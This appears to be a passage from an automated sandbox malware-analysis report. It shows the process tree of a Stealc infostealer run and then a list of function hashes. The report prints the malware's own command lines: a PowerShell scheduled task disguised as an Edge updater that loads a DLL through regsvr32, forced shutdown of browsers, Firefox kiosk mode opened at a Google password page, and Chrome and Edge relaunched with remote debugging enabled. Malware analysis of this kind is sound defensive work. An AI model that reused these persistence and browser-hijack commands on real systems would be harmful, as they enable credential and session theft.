Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:09:42
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe"
Imagebase:	0x3a0000
File size:	1'815'040 bytes
MD5 hash:	839A665835F7C3206F7DCFC30378EB90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000003.3082256465.0000000005310000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	21:09:49
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{295868A1-856A-4FAB-F42C-F90738AE0C77}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	21:09:49
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	21:09:50
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe"
Imagebase:	0x3b0000
File size:	923'136 bytes
MD5 hash:	255340D5114625142BF036174E2D4137
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:09:50
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe"
Imagebase:	0xe50000
File size:	1'864'704 bytes
MD5 hash:	896B70EC58CD9C07E6F54178C959B1AB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	21:09:50
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	21:09:50
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:09:53
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:09:53
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:09:53
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:09:53
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:09:53
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	21:09:53
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	21:09:54
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	21:09:54
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:09:54
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	21:09:54
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	21:09:54
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	21:09:55
Start date:	20/11/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.EXE /S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll
Imagebase:	0x7ff79bf80000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	21:09:55
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	21:09:56
Start date:	20/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	21:09:56
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2340,i,7830425729615441545,7862388668544970910,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	21:09:57
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2064 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ecd0d195-4882-47a0-95d6-137f9970256d} 6168 "\\.\pipe\gecko-crash-server-pipe.6168" 1383966eb10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	21:09:58
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe"
Imagebase:	0x3a0000
File size:	1'815'040 bytes
MD5 hash:	839A665835F7C3206F7DCFC30378EB90
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000003.3255598297.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	21:10:01
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe"
Imagebase:	0x3a0000
File size:	2'813'440 bytes
MD5 hash:	DD4838B2C7C89B5D5130F5BC7168809B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	21:10:02
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	21:10:04
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4052 -parentBuildID 20230927232528 -prefsHandle 3224 -prefMapHandle 4248 -prefsLen 26395 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3832cf86-050e-44c6-b11c-9d495ad99968} 6168 "\\.\pipe\gecko-crash-server-pipe.6168" 1385192cd10 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	21:10:07
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe"
Imagebase:	0x3b0000
File size:	923'136 bytes
MD5 hash:	255340D5114625142BF036174E2D4137
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	21:10:08
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	21:10:08
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x770000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	21:10:08
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	21:10:09
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2472,i,6358272514420708437,16654773144454916869,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	21:10:09
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2524 --field-trial-handle=2196,i,18403555696395421460,7447079229729429509,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	21:10:09
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	21:10:10
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04D5038F Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2145506677.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f4eba68bde7106e230190c3af644ae52f04bea712ebc46ffa065fb8db3ead9
Instruction ID: 736171c100ee393f9892cf69d088fb6da69c4ad2c70d3450fe3794df4098f2fd
Opcode Fuzzy Hash: c3f4eba68bde7106e230190c3af644ae52f04bea712ebc46ffa065fb8db3ead9
Instruction Fuzzy Hash: 01F049A720C220AE7D4380962755AB65659E6D7730330C527FC87C0663BE99A6997032

Function 04D502D4 Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

Nf, xrefs: 04D502F7

Memory Dump Source

Source File: 00000000.00000002.2145506677.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d50000_file.jbxd

Similarity

API ID:
String ID: Nf
API String ID: 0-773468794
Opcode ID: 6b60ffef20f9f94e3f0c3d1eddf17405190da8508a2471d0d05f62d51bf9d24d
Instruction ID: 4c2f8ab72dcc4617704825881fec730efaf6277876dce14138d7c99c7a81caa3
Opcode Fuzzy Hash: 6b60ffef20f9f94e3f0c3d1eddf17405190da8508a2471d0d05f62d51bf9d24d
Instruction Fuzzy Hash: 6821F3D724C200AFBE03855A27556F26B1EFA977303308466FCC3C2663BE94A6897132

Function 04D50395 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2145506677.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 474447fd97a36eb2f17e327deb6ac1fe0b746b3607d9a745b959dbf8d027100f
Instruction ID: 5b2e545025b011989b60990d1509e793be08807ce75974cd2d1c49ee8fdfa879
Opcode Fuzzy Hash: 474447fd97a36eb2f17e327deb6ac1fe0b746b3607d9a745b959dbf8d027100f
Instruction Fuzzy Hash: 3B11069B24C210BF7E03859627546F26A6DFAD77303308567FC83C5923BE94E6497072

Function 04D50349 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2145506677.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bee76628c93951c773fb81948e72393f7c6539d2fc489a55eec1a8f190ea50aa
Instruction ID: 9636873ffbea343a5d82b11ea8433eb6cf65779dfbdefd4782a67472a5e84c4b
Opcode Fuzzy Hash: bee76628c93951c773fb81948e72393f7c6539d2fc489a55eec1a8f190ea50aa
Instruction Fuzzy Hash: 34119EA360C6506FBF03C5A55A449F13F68EAC7330324857BEC82CA463F942A549A232

Function 04D503C0 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2145506677.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ec7527fbbf3ce4dd744f1ee3f5c5380727cfa673fe32536f880d2370b458568
Instruction ID: fd844506cb9d8ecf786e2853b346f8643e09d70a33ff405702401f2393a57a8d
Opcode Fuzzy Hash: 3ec7527fbbf3ce4dd744f1ee3f5c5380727cfa673fe32536f880d2370b458568
Instruction Fuzzy Hash: 730126D720C210AEBE03859267505F26B99FAE7330330855BFCC7C5663FA59A68A7131

Function 04D503AC Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2145506677.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fccee16e55363264752ffc02ed1830ea68f01057c8c12703dfad94c08e88958
Instruction ID: c35d6d2476281853bafec56c679c3eb998a4d58c355f3147cf2e5670b7eaf8ac
Opcode Fuzzy Hash: 0fccee16e55363264752ffc02ed1830ea68f01057c8c12703dfad94c08e88958
Instruction Fuzzy Hash: 63F090E720C220AE780380862750AB6665DA5D7730330C527FC87C0563FE99D6497032

Function 04D50402 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2145506677.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd3f449a336a40815610d8227ded46e19f15b6520a9deb1b85c5bce3eeb7535b
Instruction ID: afea0d594166510bc991ad694f472009b0788c126cfebfff0b822193017517f6
Opcode Fuzzy Hash: bd3f449a336a40815610d8227ded46e19f15b6520a9deb1b85c5bce3eeb7535b
Instruction Fuzzy Hash: 49F090A7248220AEB94284A637146F762ADF2D3730330C43BFC83C1457FA59A64E7131

Function 04D503E7 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2145506677.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7dc73a36408b24ae7e5f6c85f82242d695cd92cb40b38c033d837081bb848f1
Instruction ID: dc8e7b06b617e444eff9b62197e62bfe119d701152f40c6c392aa3865b6844ac
Opcode Fuzzy Hash: f7dc73a36408b24ae7e5f6c85f82242d695cd92cb40b38c033d837081bb848f1
Instruction Fuzzy Hash: C3F08CEB20C120BDB90280963B14AF2966CE1D3731331C93BFC87C5957FA49964EB132

Analysis Process: powershell.exePID: 748, Parent PID: 3116COMMON

Executed Functions

Function 00007FF848963860 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3119960951.00007FF848960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff848960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0d7827cd0354079fb0d683c8a48c6ad8927c1ce936c25a3487a5a87c5f89eb6
Instruction ID: c591effafd09597c94bf4ebbc0a6431e5ae9cfd37ad72fe32580d6e509970583
Opcode Fuzzy Hash: e0d7827cd0354079fb0d683c8a48c6ad8927c1ce936c25a3487a5a87c5f89eb6
Instruction Fuzzy Hash: 4D413732E0DE968FE7A9AA2C64056F47BE1EF45361F0801BAC04AD7187DB18EC029785

Function 00007FF84889954D Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3119275393.00007FF848890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff848890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3836a58f0c54f12cfb57338e0047259eee6dc96af20bec5bec14b1aa6fb03148
Instruction ID: 04ced67b623a3ab43d08e0a00428b1e37abbf3dde6a085b7f0ef8f8c65adf707
Opcode Fuzzy Hash: 3836a58f0c54f12cfb57338e0047259eee6dc96af20bec5bec14b1aa6fb03148
Instruction Fuzzy Hash: EB41E731A1CB489FDB19DB1CAC465E9BBE0FB95325F00422FE44983152DB60A856CBD6

Function 00007FF84877E620 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3118196119.00007FF84877D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF84877D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff84877d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 715d794b8f697dfb21e6022d133d813764cd16dcdb4c45a0b7ab26a936d4a929
Instruction ID: 836620abb6d6a8c3ac581a76ce2cd253120f068e52e940416b5a73290e9b9d9d
Opcode Fuzzy Hash: 715d794b8f697dfb21e6022d133d813764cd16dcdb4c45a0b7ab26a936d4a929
Instruction Fuzzy Hash: 2D41257180EBC44FE7569B3898559523FF0EF53220F1905DFE088CB1A3D625B846C7A6

Function 00007FF84889A81B Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3119275393.00007FF848890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff848890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c22f797b812802a06b5f67863991896e43f4a3879fb071047d0a5706a46cba03
Instruction ID: 9da43f941243de399b16c731da7c46a04b8c8416d8432683a0fdd1ada19dd706
Opcode Fuzzy Hash: c22f797b812802a06b5f67863991896e43f4a3879fb071047d0a5706a46cba03
Instruction Fuzzy Hash: 7F218431A0CA4C8FEB58DF9C984A7F97BE0EBA5321F00812FD549D3155D670A45ACB91

Function 00007FF8489638AC Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3119960951.00007FF848960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff848960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85153991af131ca5bf74c753cceed1a1ad4171be232d8b058f1fe7f11e6e3b5d
Instruction ID: 007a02a39d3258e97a9449244fc842ae84f16baef28aea475d95928769189ba4
Opcode Fuzzy Hash: 85153991af131ca5bf74c753cceed1a1ad4171be232d8b058f1fe7f11e6e3b5d
Instruction Fuzzy Hash: FE110232E1DD568FE6A8EB2CA4585F43BE0EF04361F0900BAD04DE71A6DB18AC02A745

Function 00007FF8488936C5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3119275393.00007FF848890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff848890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
